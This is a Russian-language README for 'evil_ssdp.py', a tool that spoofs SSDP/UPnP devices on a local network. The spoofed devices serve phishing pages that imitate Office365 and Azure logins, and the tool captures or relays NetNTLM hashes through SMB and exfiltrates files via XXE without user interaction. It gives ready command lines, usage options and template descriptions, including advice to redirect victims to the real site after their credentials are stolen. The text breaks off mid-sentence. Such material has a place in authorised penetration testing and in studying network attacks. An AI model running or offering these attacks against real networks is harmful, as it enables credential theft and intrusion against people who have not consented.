
Подделывайте ответы SSDP и создавайте фальшивые устройства UPnP для фишинга учётных данных и запросов/ответов NetNTLM.
Этот инструмент отвечает на многоадресные запросы обнаружения SSDP, выдавая себя за устройство UPNP общего назначения. Ваше поддельное устройство волшебным образом появится в проводнике Windows на машинах в вашей локальной сети. Пользователи, которые соблазнятся открыть устройство, увидят настраиваемую фишинговую страницу. Эта страница может загружать скрытое изображение через SMB, что позволяет вам перехватывать или ретранслировать запрос/ответ NetNTLM.
Также предоставлены шаблоны для сбора открытых учетных данных с помощью базовой аутентификации и форм входа, а создание собственных пользовательских шаблонов быстро и просто.
Для выполнения не требуется каких-либо существующих учетных данных, и он работает даже в сетях, которые защищены от атак Responder путем отключения NETBIOS и LLMNR. Любая операционная система или приложение, использующие SSDP/UPNP, могут быть атакованы, но большая часть текущей разработки ориентирована на Windows 10.
В качестве бонуса этот инструмент также может обнаруживать и использовать потенциальные уязвимости нулевого дня в механизмах синтаксического анализа XML в приложениях, использующих SSDP/UPNP. Если найдено уязвимое устройство, он предупредит вас в интерфейсе, а затем смонтирует вашу общую папку SMB или извлечет данные БЕЗ НЕОБХОДИМОСТИ ВЗАИМОДЕЙСТВИЯ С ПОЛЬЗОВАТЕЛЕМ с помощью атаки XML External Entity (XXE).
Самый простой запуск выглядит так:
evil_ssdp.py eth0
Вы должны указать как минимум сетевой интерфейс. Интерфейс используется как для UDP-взаимодействия SSDP, так и для хостинга веб-сервера для XML-файлов и фишинговой страницы.
Инструмент автоматически обновит тег IMG на фишинговой странице, используя IP-адрес указанного вами интерфейса. Для работы с запросом/ответом вам потребуется запустить SMB-сервер на этом интерфейсе (например, Impacket). Этот адрес можно настроить с помощью опции -s.
Некоторые примеры сценариев:
# Использовать wlan0 для рекламы устройства и фишинга, перехватывая NetNTLM и
# запрашивая открытый текст через поддельную форму входа Office365. Перенаправить на
# Microsoft после захвата учетных данных:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'
# То же, что и выше, но при условии, что ваш SMB-сервер работает на другом IP:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
-s 192.168.1.205
# Запрашивать учетные данные с помощью базовой аутентификации и перенаправлять на Azure:
evil_ssdp.py wlan0 -t microsoft-azure -u \
'https://azure.microsoft.com/auth/signin/' -b
# Надеяться на уязвимость XXE для перехвата NetNTLM, пока Impacket/Responder работает
# на wlan0:
evil_ssdp.py wlan0 -t xxe-smb
Полные параметры использования:
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
[-u URL]
interface
positional arguments:
interface Сетевой интерфейс для прослушивания.
optional arguments:
-h, --help показать это справочное сообщение и выйти
-p PORT, --port PORT Порт для HTTP-сервера. По умолчанию 8888.
-t TEMPLATE, --template TEMPLATE
Имя папки в каталоге templates. По умолчанию
"office365". Определяет используемые XML и фишинговые страницы.
-s SMB, --smb SMB IP-адрес вашего SMB-сервера. По умолчанию используется основной
адрес указанного "interface".
-b, --basic Включить базовую аутентификацию base64 для шаблонов и записывать
учетные данные в файл журнала.
-r REALM, --realm REALM
Область (realm) при запросе аутентификации у цели через
базовую аутентификацию.
-u URL, --url URL Перенаправить на этот URL. Работает с шаблонами, которые
выполняют POST для форм входа, и с шаблонами, которые включают
пользовательский JavaScript перенаправления (см. README для
получения дополнительной информации). [пример: -r https://google.com]
-a, --analyze Запустить в режиме анализа. НЕ будет отвечать ни на какие
запросы SSDP, но по-прежнему будет включать и запускать
веб-сервер для тестирования.
В комплекте с инструментом поставляются следующие шаблоны. Если у вас есть хорошие навыки дизайна, пожалуйста, добавьте свой собственный!
office365: Будет отображаться в проводнике Windows как "Office365 Backups". Фишинговая страница, похожая на страницу входа Office365, отправит учетные данные обратно вам через POST. Они будут отмечены в интерфейсе и записаны в файл журнала. Рекомендуется запускать с опцией '-u https://www.office.com', чтобы перенаправлять пользователей на легитимный сайт после кражи их учетных данных. Разработчик: pentestgeek.scanner: Будет отображаться в проводнике Windows как сканер с именем "Corporate Scanner [3 NEW SCANS WAITING]". Двойной щелчок приведет к странице входа общего вида. Этот шаблон хорошо поддается настройке под конкретную цель. Шаблон в основном скопирован из этого шаблона.microsft-azure: Будет отображаться в проводнике Windows как "Microsoft Azure Storage". Целевая страница — это страница входа Windows Live, когда cookies отключены. Рекомендуется использовать с опцией -u для перенаправления пользователей на настоящую страницу входа. Разработчик: Dwight Hohnstein.bitcoin: Будет отображаться в проводнике Windows как "Bitcoin Wallet". Фишинговая страница представляет собой просто случайный набор данных Bitcoin (закрытый ключ/открытый ключ/адрес). На этих аккаунтах нет реальных средств.password-vault: Будет отображаться в проводнике Windows как "IT Password Vault". Фишинговая страница содержит короткий список фейковых паролей / SSH-ключей и т.д.xxe-smb: Скорее всего, не будет отображаться в проводнике Windows. Используется для поиска уязвимостей нулевого дня в парсерах XML. При попадании выдаст предупреждение "XXE - VULN" в интерфейсе и попытается заставить клиентов аутентифицироваться на SMB-сервере без какого-либо взаимодействия.xxe-exfil: Еще один пример поиска уязвимостей XXE, но на этот раз с попыткой извлечения тестового файла с хоста Windows. Конечно, вы можете настроить его на поиск любого конкретного файла, который вам нужен, будь то Windows или Linux. В уязвимых приложениях, которые я обнаружил, извлечение работает только для файлов без пробелов или разрывов строк. Это связано с тем, как он внедряется в URL GET-запроса. Если у вас получится заставить это работать с многострочными файлами, ПОЖАЛУЙСТА, дайте мне знать, как вы это сделали.Создавать собственные шаблоны легко. Просто скопируйте папку существующего шаблона и отредактируйте следующие файлы:
device.xml: Здесь вы определяете, как устройство будет выглядеть в проводнике Windows.present.html: Это фишинговая страница, отображаемая, когда цель открывает зловредное устройство. Вы можете создать здесь все, что угодно. Обратите внимание, что строковый шаблон Python будет анализировать это, поэтому вам нужно будет использовать $$ вместо $ в любом месте, чтобы экранировать шаблонизатор.service.xml: Пока не реализован. Может потребоваться для более сложной подмены UPNP в будущем.На вашей фишинговой странице (present.html) используйте переменные, подобные следующим, для дополнительной функциональности: